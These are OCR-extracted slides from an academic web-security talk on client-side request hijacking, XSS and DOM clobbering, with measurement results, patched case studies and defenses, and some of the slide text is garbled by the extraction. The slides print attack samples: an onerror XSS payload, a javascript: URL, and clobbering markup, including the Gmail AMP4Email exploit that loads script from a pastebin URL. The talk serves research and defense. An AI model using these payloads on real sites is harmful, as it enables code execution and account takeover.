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About Soheil

Today: Security Researcher @CISPA, Germany (2019 — Present)
° Part of the AppSec Team

° Web Security, Browsers, Program Analysis at Scale

Past: Researcher & Developer (2013 —2019)

° IMDEA Software, Madrid

° Fraunhofer IESE/AISEC, KL

®*  Brooktec SE, Madrid @i dea Z Fraunhofer kE

IESE  -brooktec-

-\,g PC Member: IEEE S&P, CCS, WWW, SecWeb, Euro S&P, ...

44 Awards & Honors:

Distinguished Paper (SP’23 & ’24), Applied Research Award (CSAW’23), MSRC (Blackhat’23), ...
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* Web apps accept and process plethora of user input USER INPUTS

@ét“
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The Rise of Web Applications: Where User Input Runs Amok! - .

CISPA

EEEEEEEEEEEEEEEEEEE

* Web apps accept and process plethora of user input
* In many different forms (text, markup, ...)

itHu
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The Rise of Web Applications: Where User Input Runs Amok! B ettt

|||||||||||||||||||

E:[ Text Input

Markup Input

HTML
]

User Input Can Go Rogue...

/\ Are we validating all these inputs properly @
a
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Modern Web Applicat

CASE 1: First-party

Input from the Same Site

ions: Input Requests

benign.com

e e HTTP

CASE 2: Third-party

Input from Other Sites

AL Assumption: Authorized Services

CISPA
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Cross-Site (XS) Requests 9 HTTP
ol AL
goridd e
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External services Social Media

Payment Gateways
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CASE 2: Third-party I .9 6
o

Input from Other Sites External services Social Media Payment Gateways

ﬂ Assumption: Authorized Services




. SICISPA
Oh, Wait ... Who Made that REQUESt? T | HEETESE

A Problem: How can we know who initiated a request?

First-party vs. Third-party D@



o _________________________________________________________________________________________
Oh, Wait ... Who Made that REQUESt? T | HERTESER

* Solution: trust requests based on authentication & authorization

* Authenticate users’ browsers with account credentials before sending sensitive requests

“Now we know exactly which first party or third-party site initiated the request!”

“We can just reject the untrusted ones...”




. S ICISPA
Oh, Wait ... Who Made that REQUESt? T | HEETESE
 Solution: trust requests based on &
* Authenticate with account credentials before sending sensitive requests

“Now we know exactly which first party or third-part

“We can just ones...” @ g

/\ What About Requests from Trusted Sites?

10



Cross-Site Request Forgery (CSRF) £|CISPA

INFORMATION SECURITY

* Trick user browser to send an authenticated request causing a persistent state change

®* Root Cause: server cannot distinguish unintentional from intentional requests

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 11



Cross-Site Request Forgery (CSRF) £|CISPA

INFORMATION SECURITY

. user browser to send an causing a persistent
* Root Cause: server cannot distinguish from requests

° Robust defenses well-known Q

Origin Checks

Victim attack.com@ socialmedia.com
T Y
» @ |—/—| O || © =
T la e .
@ | samesite Cookies
<object

data="https://socialmedia.com/post?text=misinformation">

Random Tokens

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 12



Cross-Site Request Forgery (CSRF)

o :)
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CASE 2: Third-party

Risk: Confused deputy for XS requests

Input from

A2 Assumption:




Modern Web Applications: Input Requests
w O
y benign.com

CASE 1: First-party

Input from

Confused deputy for SS requests?




Client-side CSRF

Victim

Exploit input validation vulnerabilities in JavaScript programs to hijack async requests

attack.com

& o ‘0.. e o YY) e
~— o @ _ WRITE
D |
var uri =

socialmedia.comffpost?text=xyz

window.location.hash.substr (1) ;
if (uri.length > 0) {
uri = "socialmedia.com/" + uri;
fetch(uri, { // hijack request
method: "POST",

body: JSON.stringify ({"CSRF-token":

"XSRF-TOKEN" } )
i

SICISPA
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Client-side CSRF L ClSPA

* Exploit input validation vulnerabilities in JavaScript programs to hijack async requests

®  Similar vulnerability affected Instagram in 20181

n Facebook Bug Bounty

“Client-Side"” CSRF

At Facebook, receives hundred
e of vulnerabilty types. One of the interesting which v
e termed “Client-Side” est Forg , whicl awarded on
age $75k.

What is CSRF?

Before we jump into technical details, let's recap on what CSRF is. a issue in which
an atta an perform a state changing action, such as posting a n behalf of another
user. This is made possible due to the fact that browsers (currently, unt ne-Site Cookies are
supported in all major browsers) send the user's cookies with a req egardless of the request
origin.

her large ave protections in place to mitigate this kind of attack.
ype of protection is by adding a random token to each state-changing

@ Post new status for the user [iSsSRHRE

Nhitehat program, then you might see this token being sent -

“fb_dtsg"

“Client-Side” CSRF

1Source: https://www.facebook.com/notes/996734990846339 Soheil Khodayari - CISPA Helmholtz Center for Information Security | 17



Browser Requests: So Many Options, So Many Hijacks! CISPA

\"/

* Client-side CSRF only one instance of the larger issue of request hijacking
s Malnly XMLHttpRequest and Fetch APIs Victim attack.com socialmedia.com#post?text=xyz
*  Studied client-side CSRF before [USEC'21] m» 0 i () @

[

Other types of HTTP requests and APIs exists

var uri = window.location.hash.substr(1l);
if (uri.length > 0) {
uri = "socialmedia.com/" + uri;
fetch(uri, { // hijack request
method: "POST",
[ ]

The sendBacon APl accounting for > 35% of the API calls for async regs ) Docys JEON-StringLiy ([TESRETLokenT: XSRETOKEN"))
[

Web sockets, SSE connections, push notifications, etc

Attack surface

In total, about 7.9M request AP| calls in Tranco top 10K domains (~1M webpages)

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 18



-
Browser Requests: So Many Options, So Many Hijacks! e | R

A The widespread usage of request-related APls presents an attractive attack surface

S”- Request hijacking threats have not been considered for 44% of API calls by prior work

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 19



Vulnerability Detection at Scale ;" |CISPA
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JAW

A Graph-based Security Analysis Framework for Web applications

[ g

https://ja-w.me

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 20


https://ja-w.me/

JAW Framework: Architectural Overview ¢ |CISPA

INFORMATION SECURITY

* Astatic-dynamic security analysis framework for web applications

— Core Components

* Data collection ~ Core Components .
Dynamic Static
* Static and dynamic analyzers
. . C ling Engi Code Preprocessing
* Query-able model for web applications ranTne neme
- AnalySiS Engine Instrumented Browsers Repository of Built-in Queries
- Puppeteer, Selenium, PlayWright - Code Patterns, Vuln Indicators
* Pool of workers to store and manage analyses and tasks at scale - Cloud-based (BrowserStack) e e
Library Detector HPG Generator
* An analysis is a combination of tasks, e.g.:
y ’ g Forced Execution Engine (Iroh) Semantic Types Engine
- Detection of vulnerability x
. . Input G i Symbolic Modeling Engi
- Discovery and collection of code patterny TP eneraor ymbolic ModeTns Eneine

. . Analysis Engine
* Ataskis areusable operation, e.g.:

— Crawl URL x Al || A2 |...| An Tt || T2 |...| Tn

v
i

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 21

— Run forced execution on webpage p




JAW: Request Hijacking Detection |

INFORMATION SECURITY

* Sheriff: JAW instantiation to study client-side request hijacking at scale

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 22



JAW: Request Hijacking Detection

Site List

o—p
=D
=0
==

e Data Collection

Sheriff: JAW instantiation to study client-side request hijacking at scale

ﬁ Crawler Orchestration

Playwright G
Taint-Aware

C, ‘3 Y —

Webpages [
—-_———> {

Taintflows s

B

g = g == |

I

Webpages
_—

Taintflows
—>

" |CISPA
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* Sheriff: JAW instantiation to study client-side request hijacking at scale

e Data Collection

ﬁ Crawler Orchestration

CIQ Playwright s

@

JAW: Request Hijacking Detection

e Data Modeling

o :
W= Preprocessing

P1: Page Deduplication
P2: Flow Frequency Search

-—-—> CB2

: €N
Static Model sy
Dynamic Model a

" |CISPA

HELMHOLTZ CENTER FOR
INFORMATION SECURITY

v Unique Pages

# Model Building

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 24



JAW: Request Hijacking Detection

* Sheriff: JAW instantiation to study client-side request hijacking at scale

Site List

Oo—>

=0
=0
==

e Data Collection

ﬁ Crawler Orchestration

CIQ Playwright G

I

Taint-Aware
G =
‘ - Webpages ¥4
e !

Cn Q Taintflows s

e Data Modeling

101 i
W= Preprocessing

P1: Page Deduplication
P2: Flow Frequency Search

e Vulnerability Analysis

“ICISPA

’, & | HELMHOLTZ CENTER FOR
gl INFORMATION SECURITY

v Unique Pages

# Model Building

(+)

Dynamic Model a

Static Model @

G Neo4j

G | . Neo4j

., Neodj Q Query Database

G . T Fetch ‘ rSocket |
(+]

QO INPUT SOURCE
A % Dataflow
- Vv

@ REQUEST_SINK

Sanitization Checks

m

Flows

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 25



JAW: Request Hijacking Detection

* Sheriff: JAW instantiation to study client-side request hijacking at scale

Site List

O
=9
=9
=9

e Data Collection

ﬁ Crawler Orchestration

CIQ Playwright G
Taint-Aware
G

) —
. Webpages [
©, G Taintflows @
7777777777777 - - =g CD:
f @ RAMFS | CBm

Webpages
>

Taintflows
—p

e Data Modeling

110, |
W= Preprocessing
P1: Page Deduplication

P2: Flow Frequency Search

v Unique Pages

# Model Building

Static Model @
@

Dynamic Model a

TA-HPGs

»

e Vulnerability Analysis

&

17 Neo4j

Query Database

G .% T Fetch rSocket |

Fat

., Neodj

17 Neo4j

m

QO INPUT SOURCE

% Dataflow
= ¢

@ REQUEST_SINK

Sanitization Checks

Flows

“ICISPA

>
Y1\

@ Verification

HELMHOLTZ CENTER FOR
INFORMATION SECURITY

Program
Instrumentation

W
=
v

Dynamic Analysis

Vuln.

Flows
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JAW: Taintflow-Augmented Hybrid Property Graphs |C1SPA

EEEEEEEEEEEEEEEEEEE

/\ Hybrid Property Graphs
. Example HPG
e Static: AST, CFG, PDG, IPCG, ERDDG, ...

* Dynamic: Concrete Program Values

‘:?:’ Data Flow Analysis
* Track the propagation of attacker-controlled values

* Problem: missing edges due to static analysis

XMLHttpRequest() “12”

window.location.has!

: “https://attack.com”
Q' Taintflow-Augmented HPGs

,;g) * Use in-browser dynamic taint tracking to reconstruct missing edges in HPGs
DN

* Patched Foxhound?! to support various sinks (e.g., push APl, WebSocket, EventSource, etc)

Code: ! https://github.com/SAP/project-foxhound

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 27



Request Hijacking: Prevalence

| CI S PA
Empirical study to quantify the prevalence of client-side request-hijacking in the wild

© Dpata Collection

@ Data Modeling @© Vulnerability Analysis @ Verification
% Crawler Orchestratio Webpages | i QQ ery Databas :’;:g:x:nmm
Site L ue aees & . i Flows {g Vuln,
=— Testbed
* Tranco top 10K websites, 339.2K unique webpages, 11.5M scripts, 32.4B LoC
| QI Results
[ ]

Detected 202K verified data flows across 17.8K affected pages and 961 sites

E The new vulnerability types and variants constitute over 36% of the cases

A Dynamic information crucial for detecting ~67% of the data flows

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 28




Request Hijacking: Exploitations o> E A

8%888 Demonstrate exploitability by focusing on a random subset of data flows

eJoloIoln ®*  Two pages from each of the 961 vulnerable sites

Lomd

* Created PoC exploits for 49 sites

M * Microsoft Azure, Starz, Google DoubleClick, VK, DW, and TP-Link

* Arbitrary code execution, account takeover, data exfiltration, open redirections, etc

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 29



Microsoft Azure Case Study

Detected a critical request hijacking vulnerability in Microsoft Azure

®*  Confirmed and patched (MSRC-79059 VULN-097970)

* Impact: change user settings (CSRF), escalated to client-side XSS

params = (new URL (window.location)) .searchParams;
t = params.get ("request");

? Victim

var
var
ir (T

T= null && C.lengcn) |
// post message to opener
opener && opener.postMessage ("reauthPopupOpened",
// listen for signal
window.onmessage = function () {

if (event.origin !== opener.origin) return;
if (event.data === "sendReguest"){
// top-level navigation request
document.location.assign(t);}
}}

t); —

attack.com

SICISPA

%4, .\ | HELMHOLTZ CENTER FOR
1AW INFORMATION SECURITY

benign.com

0 [= @
e i == e

var p = new URL(window.location) .searchParams
var t = p.get("request"); // [...]
document.location.assign(t); // hijack request

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 30



TP-Link Case Study ;|CISPA

INFORMATION SECURITY

* Request hijacking vulnerability in TP-Link escalated to client-side XSS
®* Confirmed and patched (TKID240238113)

®* The program performed no input validation

TP-Link: page preview functionality

1] let $Surl = new URLSearchParams(location.search)? Read qguery param url
.get('url');

2 1let Sparams = location.hash.slice(1l).
toLowerCase () ;
3 let $product = params.match ('&pview=true');
4 if(Sproduct && screen.width<=1024) {
5 // $url: javascript:alert (1); . .
p location.href=$url; ) Write url to location.href

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 31



Request Hijacking: Defenses and their Effectiveness (1 / 3) o2

;’ Policy-based connect-src directive:

* (+) constrains request endpoints to trusted domains (i.e., no data exfiltration)

* (-) does not prevent request hijacks for CSRF attacks (i.e., same-site endpoints)

Even with a correct configuration:

A ~41% of vulnerabilities cannot be mitigated by CSP

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 32



Request Hijacking: Defenses and their Effectiveness (1 / 3) c|CISPA

INFORMATION SECURITY

9 Policy-based

COOP: window.open() API

* (+) restricts the browsing context to same-origin documents

* (-) only effective when window.open() is used for providing malicious input

A ~93% of detected vulnerabilities cannot be mitigated by COOP

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 33



Request Hijacking: Defenses and their Effectiveness (1 / 3) o2

9 Policy-based

@

m See paper for more
COOP: window.open() API

* (+) restricts the browsing context to same-origin documents

* (-) only effective when window.open() is used for providing malicious input

A ~93% of detected vulnerabilities cannot be mitigated by COOP

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 34



The Rise of Web Applications: Where User Input Runs Amok! B ettt

|||||||||||||||||||

Markup Input

HTML
]

User Input Can Go Rogue...

/\ Are we validating all these inputs properly @
a

What if the validation fails? m

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 35



XSS: The “One-Ring-to-Rule-Them-All” Attack

S ICISPA
Arbitrary client-side code execution (XSS)

s | ESTAINE
Attacker Victim Vulnerable Site
Q—2° :
@: Account take over, data exfiltration, financial losses

—— Code Execution
vuln-site.com/#<img src:

=x onerror=alert(1l)>

var input = window.location.hash.substr(1);
If (input.length > 0){

var div = document.querySelector (‘div’);

div.innerHTML I

= input; #
/701

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 36



XSS: The “One-Ring-to-Rule-Them-All” Attack

S ICISPA
Arbitrary client-side code execution (XSS)

T | BRI LSS
Attacker Victim Vulnerable Site
o ﬁ ° —_— Codeﬁcution

@: Account take over, data exfiltration, financial losses ln-uita.cou/betng s macEEc-elesSiLI>
var input = window.location.hash.substr(1);
If(input.length > 0){

ACh|eved by ;é{diyj ‘do,curi\er?t.q\ééryselector(‘dlv’D; ‘
& ‘ /;v.[i;];,mx;,u,, = input; ﬂ
@ Mitigated by controlling or disallowing code execution | Well-known |

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 37




XSS: The “One-Ring-to-Rule-Them-All” Attack o

CISPA

HELMHOLTZ CENTER FOR
INFORMATION SECURITY

. . . . Attacker Victim Vulnerable Site
Arbitrary client-side code execution (XSS) o ~ o
@: Account take over, data exfiltration, financial losses e oo s e
Achleved b :fxf';: div ; ‘do,cumer;t.querysélectt;r(‘dlv’D;’
& y T L
@ Mitigated by controlling or disallowing code execution | Well-known |
XSS Evolving Complexity w P
A\ What if code-less input can cause arbitrary code execution? gﬁ)

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 38



XSS: The “One-Ring-to-Rule-Them-All” Attack o

CISPA

HELMHOLTZ CENTER FOR
INFORMATION SECURITY

Attacker Victim Vulnerable Site

Arbitrary client-side code execution (XSS) ,, ~ o

J

m Account take over, data exfiltration, financial losses ln-uita.cou/betng s macEEc-elesSiLI>

var input = window.location.hash.substr(1);
. If (input.length > 0){
AChleved by var div = document.querySelector (‘div’);
A div.innerHTML = i

‘ a [m],, input; i:(

@ Mitigated by controlling or disallowing code execution | Well-known |

XSS Evolving Complexity w P

A\ What if code-less input can cause arbitrary code execution? Sﬁ)

Examp\eM
GMail's AMP 'Ema“ via

< > DOM Clobbering |
{ } ) ' _G ““ MICHAE BENTKOWSK! | Noverber 18,2019 | Research

) Je Vulnerability
i S in AMPAEmail | reported via Qgﬂgie—_ln_ﬁnj(‘-n -
an already-fixed X a real-wiorld exploitation of wel

JavaScript Programs Execution Environment [I——— T maxssis an e o

| in Augus'
| Reward Program ® e
| browser issue called DOM Clobbering;

Unforeseen \ .
Interactions  [** ~ XSSin

JS

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 39
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DOM Clobbering Vulnerability c|CISPA

||||||||||||||||||||

https.//example.com

DOM Tree

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 40



DOM Clobbering Vulnerability c|CISPA

INFORMATION SECURITY

https.//example.com
Vuln. Script?
DOM Tree P

document.globalConfig = {'src': 'script.js', [...]};
/L]
var s = document.createElement (‘script’);
s.src = document.globalConfig.src;
document.body.appendChild(s) ;

<script> =

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 41



DOM Clobbering Vulnerability

&8 Input

markup

=

@ Inject HTML markup

<img |id=globalConfig| src="malicious.js” name=clobbered>
qii

SICISPA

%4, > | HELMHOLTZ CENTER FOR
1AW INFORMATION SECURITY

https.//example.com

DOM Tree

O

Vuln. Script?

document.globalConfig = {'src': 'script.js',
/L]
var s = document.createElement (‘script’);

s.src = document.globalConfig.src;
document.body.appendChild(s) ;

[..

-] b e

=L

<script>

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 42



DOM Clobbering Vulnerability c|CISPA

&8 Input markup

</>

=1 Markup collides with sensitive or , and overwrites them

=

<img |id=globalConfig| src="malicious.js” name=clobbered>
qii

© Inject HTML markup https://example.com
Vuln. Script?
DOM Tree P
document.globalConfig = {'src': 'script.js', [...]};
/L]
b 9 var s = document.createElement (‘script’);

s.src =|document.globalConfig.src;
document.body.appendChild(s); ——, Arbitrary Code ﬁr

Execution

=L

<script> G=1

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 43



DOM Clobbering: Why It Happens?

* Locating DOM elements:

&2 The clean way:

N

DOM query selectors

IE] document.querySelector ("[1d=Y]")

.'* The dirty way:

Property access on window or document

,g] document.X.Y,or window.Y

@ Named Access o

S,

CISPA

EEEEEEEEEEEEEEEEEE
\\\\\\\\\\\\\\\\\\\

>
Yo >

Example: select node @) in the tree.

Window

Document

<html>

Document Object Model

<form name=X> é

<input id=Y> é

<input 1id=Z> é

n Window/ pDocument

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 44



DOM Clobbering: Why It Matters? . " CISPA

’/ \\ HELMHOLTZ CENTER FOR
dh INFORMATION SECURITY

< HTML & JavaScript usage metrics > all features > timeline

DOMClobberedVariableAccessed Show all historical data: (J

Percentage of page loads over time

The chart below shows the percentage of page loads (in Chrome) that use this feature at least once. Data is across all channels and
platforms. Newly added use counters that are not on Chrome stable yet only have data from the Chrome channels they're on.

Clobbered Variable Access Usage

12

10 W ./—0—0* T e

o 8
g 4 A ~ 11% of pages depend on clobbered variables

Cannot immediately turn off...

0
Jan 1, 2021 Jul 1, 2021 Jan 1, 2022 Jul 1, 2022

Jan 1, 2023

Date

Source: https://chromestatus.com/metrics/feature/timeline/popularity/1824

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 45



-
DOM Clobbering: Why It Matters? L CiSPA

* Example: DOM Clobbering in GMail’s AMP4Email sanitizer (2019)

Gmail’s Dynamic Mail Feature!?

var script .document. (BSCrIpta):

script.async - M Gmail : 0 @
+ C o o

var loc; iniw, T e m o, -

.testlLocation) {

Jeta Wen 042 Sates Cont.. - Coukd you plase confiem the combract - Wike Chang wdded & commant. $23 944
2w

[ Aoth Ticket request 4610007 has been sppreved . w2

Wiltarm e Thank you for your lnguiry s

‘ilVOlOlG

+ loc.host + "/dist

loc https://cdn.ampproject.org";

var sinalePass .singlePassType ? .singlePassType + "/" : -
b.src loc + "/rtv/" + .rtvVersion; + "/" + singlePass + "v@/" + pluginName +

.head. (b); <I-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>

Consequence <a id="AMP_MODE" name="test"></a>

<!-- window.testLocation.protocol is a base for the URL -->

<a id="testlLocation"></a>

<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>

Arbitrary code execution

1source: https://workspaceupdates.googleblog.com/2019/06/dynamic-email-in-gmail-becoming-GA.html Soheil Khodayari - CISPA Helmholtz Center for Information Security | 46



: . : : S ICISPA
Clobbering Markups: Automatic Discovery e |
S Markup G ti d Testi
N’ P Generation an esting

*  24M test cases UMestBxecutor | _OET/R Upegicasesapt |
. Browser : : Test-i : g : Result
* 19 browsers (mobile and desktop) o1 | agem | €Y | oot | —
: : POST /Test-i | Succ. Tests :
* Covered all tags, attributes, relations and targets @ Il T T T
+ Targets: variable X, object property X.Y, and built-in APls T e e

div.innerHTML = markup;
document .body.appendChild (div) ;
console.log(x.y);

L‘g\ Results

A Uncovered 31.4K distinct clobbering markups across five different techniques

Only previously known
Example: HTMLCollection: object tags with the same

<object name=X><object name=X id=¥>
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Clobberin
g Markups: Automatic Discov
ery
" ICISPA
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k Z CEN
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r for more!

ATML Marku®
Attribute
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winx

@ wiax

winx
winx T84 embed.form.
winx e b
g id=x B :
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winx
nex

winx

winx

winx
winx

4 embed for™

id=x || 7%

doex
applet
id=x

doex

id=y | 0= gy

‘Form Parent-Child
winxy psaTse — fieldset
docxy TS3TS4 4 e mo 1 1) <l
winxy TS IS4 = (& 1Y) &=y ahild
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Markup Generator Service — Online Demo

SICISPA

7, & | HELMHOLTZ CENTER FOR
TR
| INFORMATION SECURITY

< C' @& domclob.xyz/domc_payload_generator/

DE Home Wiki Markups Browser Testing ¥ Payload Generator Detection

DOMC Payload Generator

Generates DOM Clobbering Attack Payload

Clobbering Target

— window.globalConfig

Enter the target variable or expression you want to clobber here.
Clobbering Value

— malicious.js

Enter the clobbered value for “href" or “src of HTML markups.

Attack Payload(s)

<aid="globalConfig" href="malicious.js"></a>

<customtag id="globalConfig"></customtag>

<article id="globalConfig"></article>
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Browser Testing Service — Online Demo L ClSPA

INFORMATION SECURITY

Filter by Browser / Platform / Version X Search Q <« scroll »

Markup Clobbered 3 Tagl $ Tag2 $ Attributes1 $ Attributes2 3

<aid="x"></a> window.x [id=x]

<abbr id="x" ></abbr> window.x [id=x]

ym id="x" ></acronym> window.x [id=x]

domclob.xyz

let payload = ‘<acronym id="x" ></acronym>';
let div = document.createElement('div"');
let is_clobbered = false;
try {
div.innerHTML = payload;
document.body.appendChild(div);
let v = eval(target);
(v & (!isNaN(v) v.toString().index0f('HTML"') > v.toString().index0f('Element') >
v.toString().index0f('Collection') > v.toString().index0f('Window') > -1)) {
is_clobbered = true;

}
} catch(e) {
is_clobbered = false;

}
document.body. removeChild(div);
console.log("clobbered:", is_clobbered);

Test this clobbering payload in your browser now: | Run Test

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 51



DOM Clobbering Vulnerability: Prevalence £|CISPA

*  Empirical study to quantify the prevalence of DOM clobbering in the wild

| @ webcrmaing | Wb | @ Graph Consraction @ GraphTrmersals | s | @ o nstrumentaion. |
Seed URL: : Sinks : @ var x = DOMﬁCLOBﬁSOURCE;: : bpage : Vuln.
Hi ﬂﬁ Webpages r EC[OE: [eNe) Data Flow :Bmmeri o v @ W
- Puppeteer B ! giii O@OQ ’ ioé>: @ ForceExecution& |
ey S B e e il
=— Testbed
Tranco top , 205.6K webpages, 18.3M scripts, 24.6B LoC
| QI Results
* Detected clobberable data flows across 491 affected sites
. for 44 websites (all confirmed and patched):

* E.g., GitHub, Trello, Vimeo, Fandom, WikiBooks and VK
* Client-side XSS, open redirections and request forgery attacks
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DOM Clobbering: Defenses and their Effectiveness (1 / 5) :|CISPA

9 Mitigations

script-src directive:

NNNNNNNNNNNNNNNNNN

(+) constrains script sources to trusted domains, preventing src clobbering

(-) does not prevent clobbering params of dynamic code eval functions

A -~

of vulnerabilities

by CSP
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DOM Clobbering: Defenses and their Effectiveness (1 / 5) £|CISPA

9 Mitigations

Object.freeze() API:

(+) prevent from being

(-)

INFORMATION SECURITY

by named DOM elements

when the DOM clobbering source is a API

A\ -~

of vulnerabilities

by object freezing
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DOM Clobbering: Defenses and their Effectiveness (1 / 5) L ClSPA
9 Mitigations Evaluated the robustness of 29 client-side and server-side HTML sanitizers
e JS, Python, PHP, C#, and Java
Output
0 | <a id=x> | <a />
- > (e iti =
N é Sanitizer e
Clobbering Markups Confi
( of RQ1) T onte
| Defaultél Strict (,:L
| | Results ~
Q
c In total, 16 sanitizers to at least one clobbering markup
* Including popular ones like DOMPurify, Mozilla Bleach, and Google Caja
. of them also vulnerable in config
v The other 13 sanitizers named properties
* Including cases that lead to DOM Clobbering (e.g., <a name=x>)
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DOM Clobbering: Defenses and their Effectiveness (1 / 5) £|CISPA

G’ Mitigations

INFORMATION SECURITY

Alternative: prefix/isolate named properties instead of removing them
* (+) mitigates almost all DOM Clobbering cases
* (-) may require some by developers

5
['Emé”j < o= N “ Sanitizer ——> @ <a id=const-x>

Contribution: implemented namespace isolation in DOMPurify
* Usethe new config

var clean = DOMPurify.sanitize(dirty, {SANITIZE_NAMED_PROPS: true});

Learn more on GitHub...

o
o) Conversatio”

SoneilknodY

summary

ew 0Pt
< praddsa” o
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DOM Clobbering: Defenses and their Effectiveness (1 / 5) £|CISPA

9 Kill Switch

Infeasible

INFORMATION SECURITY

Solution: disable named properties at browser-level?
* (+) fixes all DOM Clobbering cases
* (-) can cause breakage

Measurement
(3

Cost: 13.3% of webpages use named properties and will break (~51% of sites)
Benefit: fixes the 491 vulnerable sites (i.e., 9.8% of top 5K sites)

A breakage-benefit balance:

html

c-webappsechOZZOct/OOOS

. i bli
Proposal to W3C: c a \ists.w3.org/Archlves/Pubhc/pu oo
& October
) c@w3.0rg > L=
, CSP/ fealtlu re ailing lsts > Public> qublic-webappsec@WS.L"
policy to allow WaC home === lobbering
. . pOM clo
developers to disable Opt-in flag to disable oopions] N
- , o body | [ Respond 1 LM 0 Next in thread.
name properties This message: [ Messa0e 098 1 brevious messa
Next messao=

Related messages: | Ne: -
i@cispa.
i Khodayari <soheil.khodayan@cnsp
From: Soh% 022 10:36:49 +0200 J—

AcOSg@maiI.gmai\.com:
1o Eri. 21 Oct e ey TossQPGU_+T



Quasi-Real Time Web Measurements Lo SASEA
* Let’s allow people to query the data that we acquired and processed
* Knowledge base for security-relevant properties of in the wild webapps
£ elementalis.io
g ;

Raw data: JS code, DOM snapshots, N
libraries, URLs, HTTP headers, ... ';“ﬁ-f"-;'e; —

a.href

Processed data: data flows, API
calls, PDGs, CFGs, IPCGs, ERDDGs,

state values, env properties, ...

Connected data: flows to values to

code to HTML

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 59



Conclusion Thank You!

* Client-side code complexity growth introduced new vulnerability variants

* Clobberable / forgeable data flows are ubiquitous (~9% of sites)

» Existing defenses helpful but may not completely cut it

[@ @Soheil__K soheil.khodayari@cispa.de ]

ja-w.me @ elementalis.io

N

>

LA,
IEEE SP’23 and ‘24
Distinguished Paper Awards

E3[E
3
o

|

%/

Al e@
domclob.xyz github.com/SAP/project-foxhound

Soheil Khodayari - CISPA Helmholtz Center for Information Security | 60



